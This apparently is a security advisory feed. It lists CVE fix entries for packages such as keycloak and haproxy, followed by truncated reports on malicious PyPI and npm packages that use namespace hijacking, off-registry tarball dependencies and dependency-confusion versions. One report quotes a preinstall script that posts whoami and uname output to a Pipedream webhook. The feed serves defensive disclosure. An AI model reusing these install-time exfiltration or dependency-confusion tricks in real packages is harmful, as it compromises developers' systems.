CLEANSTART-2026-HP74907 Security fixes for CVE-2025-22868, CVE-2025-47911, CVE-2025-47912, CVE-2025-58183, CVE-2025-58185, CVE-2025-58186, CVE-2025-58187, CVE-2025-58188, CVE-2025-58189, CVE-2025-58190, CVE-2025-61723, CVE-2025-61724, CVE-2025-61725, CVE-2025-61729, CVE-2026-25679, CVE-2026-27137, CVE-2026-27138, CVE-2026-27139, CVE-2026-27142, CVE-2026-33811, CVE-2026-33814, CVE-2026-39817, CVE-2026-39819, CVE-2026-39820, CVE-2026-39822, CVE-2026-39823, CVE-2026-39825, CVE-2026-39826, CVE-2026-39836, CVE-2026-42499, CVE-2026-42501, CVE-2026-42505, CVE-2026-56852, ghsa-6v2p-p543-phr9 applied in versions: 1.1.0-r0, 1.1.0-r1, 1.1.0-r2, 1.4.10-r0, 1.4.13-r0, 1.4.14-r0, 1.4.8-r0

Multiple security vulnerabilities affect the stakater-reloader package. These issues are resolved in later releases. See references for individual vulnerability details...

CLEANSTART-2026-BK55944 Security fixes for CVE-2025-59250, CVE-2026-0636, CVE-2026-33870, CVE-2026-33871, CVE-2026-39852, CVE-2026-41417, CVE-2026-42198, CVE-2026-42577, CVE-2026-42578, CVE-2026-42579, CVE-2026-42580, CVE-2026-42581, CVE-2026-42583, CVE-2026-42584, CVE-2026-42585, CVE-2026-42587, CVE-2026-44249, CVE-2026-44893, CVE-2026-45416, CVE-2026-45536, CVE-2026-45673, CVE-2026-45674, CVE-2026-47244, CVE-2026-47691, CVE-2026-48043, CVE-2026-48059, CVE-2026-50010, CVE-2026-50020, CVE-2026-50559, CVE-2026-50560, CVE-2026-54291, CVE-2026-54512, CVE-2026-54513, CVE-2026-54514, CVE-2026-54515, CVE-2026-54516, CVE-2026-54517, CVE-2026-54518, CVE-2026-5588, CVE-2026-5598, CVE-2026-57914, CVE-2026-9563, ghsa-3qp7-7mw8-wx86, ghsa-563q-j3cm-6jxm, ghsa-5pvg-856g-cp85, ghsa-5x3r-wrvg-rp6q, ghsa-676x-f7gg-47vc, ghsa-72hv-8253-57qq, ghsa-98qh-xjc8-98pq, ghsa-c2gf-v879-257j, ghsa-c3fc-8qff-9hwx, ghsa-c653-97m9-rcg9, ghsa-cc37-9q2j-3hfv, ghsa-h2qv-fj59-j46j, ghsa-hvcg-qmg6-jm4c, ghsa-p93r-85wp-75v3, ghsa-pwqr-wmgm-9rr8, ghsa-rc95-pcm8-65v9, ghsa-v8h7-rr48-vmmv, ghsa-w573-9ffj-6ff9, ghsa-w9fj-cfpg-grvv, ghsa-wg6q-6289-32hp, ghsa-x4gw-5cx5-pgmh, ghsa-xmv7-r254-6q78 applied in versions: 26.5.6-r3, 26.6.1-r1, 26.6.3-r2, 26.6.3-r3

Multiple security vulnerabilities affect the keycloak package. These issues are resolved in later releases. See references for individual vulnerability details...

CLEANSTART-2026-AC64135 Security fixes for CVE-2020-11100 applied in versions: 2.1.4-r0

Security vulnerability affects the haproxy package. This issue is resolved in later releases. See references for vulnerability details...

Malicious code in rasterkit (PyPI)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 115c87298c4a239bd4954e39a155929c2480510343aefe1fa7c0b631b467af6b The rasterkit 1.0.2 distribution installs its modules under the top-level PIL/ package name owned by Pillow. toplevel.txt declares PIL and the wheel'...

MAL-2026-10975 Malicious code in rasterkit-demo (PyPI)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector d748af7546aacbfca356759d4c81386f113a32dfc80ff8bb75da3eb3c8b4358d rasterkit-demo ships a CLI entry point rasterkit-demo whose rundemo function imports demochannelwindows from PIL.data and passes the returned buffer ...

Malicious code in fluffy-octo-broccoli (PyPI)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector b017d48fb884ba615e0b62dfd421f8fe24e52695a7ae86c8c158eb2ded44286f fluffy-octo-broccoli ships a 10.7 MB qiwi.zip archive whose contents yield no readable filenames or strings via extraction, alongside a run.sh that...

MAL-2026-10973 Malicious code in fluffy-octo-broccoli (PyPI)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector b017d48fb884ba615e0b62dfd421f8fe24e52695a7ae86c8c158eb2ded44286f fluffy-octo-broccoli ships a 10.7 MB qiwi.zip archive whose contents yield no readable filenames or strings via extraction, alongside a run.sh that...

Malicious code in commonweb-rewards (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 741bb412733dcbcc7aac51796dd6e3b0a6b86439c4886aad1b0418959051d0b3 commonweb-rewards ships an empty index.js and declares a single dependency ltidisafe whose version spec is a direct URL to a tarball on a non-publish...

MAL-2026-10968 Malicious code in commonweb-rewards (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 741bb412733dcbcc7aac51796dd6e3b0a6b86439c4886aad1b0418959051d0b3 commonweb-rewards ships an empty index.js and declares a single dependency ltidisafe whose version spec is a direct URL to a tarball on a non-publish...

MAL-2026-10970 Malicious code in consumerweb-calurls (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 669d269ba4f32fdf1b9c8858544848525f323074fba69e9f84a2974504adfc17 [email protected] ships an effectively empty package empty index.js, no lifecycle scripts whose sole effect on install is to resolve a runti...

Malicious code in commonweb-card (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector be45f481316bef278d1accb9df9fb9e30f5789c2c783c749c7f8903868130a71 [email protected] ships an effectively empty main module index.js exports an empty object and its package.json declares a dependency 'ltidisafe'...

MAL-2026-10966 Malicious code in commonweb-card (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector be45f481316bef278d1accb9df9fb9e30f5789c2c783c749c7f8903868130a71 [email protected] ships an effectively empty main module index.js exports an empty object and its package.json declares a dependency 'ltidisafe'...

MAL-2026-10967 Malicious code in commonweb-moneymovement (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector dee7c2ba53e2c7adae6a2b54776c21490794ee8f28fde98f5c61778380de1382 Package [email protected] contains 2 files with no a static rule matches and no traced behavioral findings. The version number 99.9.1 an...

Malicious code in commonweb-moneymovement (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector dee7c2ba53e2c7adae6a2b54776c21490794ee8f28fde98f5c61778380de1382 Package [email protected] contains 2 files with no a static rule matches and no traced behavioral findings. The version number 99.9.1 an...

Malicious code in signzy-field-level-encrypter (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 38314f87203a0860a07c13fed06e2ec374545060b18be84a2d125556b93bc451 package.json declares a preinstall lifecycle script that runs echo "$whoami: $uname -a" | curl -X POST against a hardcoded Pipedream webhook at...

Malicious code in commonweb-wallet (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector a1769ac1af054b70eedc630a2cda97a2d810ef7c8551a7e80b2f859f0c578d33 [email protected] is an empty wrapper index.js is module.exports = ; package.json has empty author/description and an implausible 99.9.1 versio...

MAL-2026-10969 Malicious code in commonweb-wallet (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector a1769ac1af054b70eedc630a2cda97a2d810ef7c8551a7e80b2f859f0c578d33 [email protected] is an empty wrapper index.js is module.exports = ; package.json has empty author/description and an implausible 99.9.1 versio...

MAL-2026-10971 Malicious code in cxpw-offers (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 2288ef5dfb841556f7ba4907a025270dfda3439820215b7d98e644afca78a306 cxpw-offers ships an empty index.js and declares its only dependency ltidisafe as a direct tarball URL at...

Malicious code in cxpw-offers (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 2288ef5dfb841556f7ba4907a025270dfda3439820215b7d98e644afca78a306 cxpw-offers ships an empty index.js and declares its only dependency ltidisafe as a direct tarball URL at...

MAL-2026-10965 Malicious code in requestor-util (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector d8a60f357ab63e9818e450e4e4aec3dcf1b08d1242931ad5ad8468a460ee82ba [email protected] is a hollow wrapper empty index.js, placeholder 99.9.1 version whose only effect on install is to resolve a dependency declared...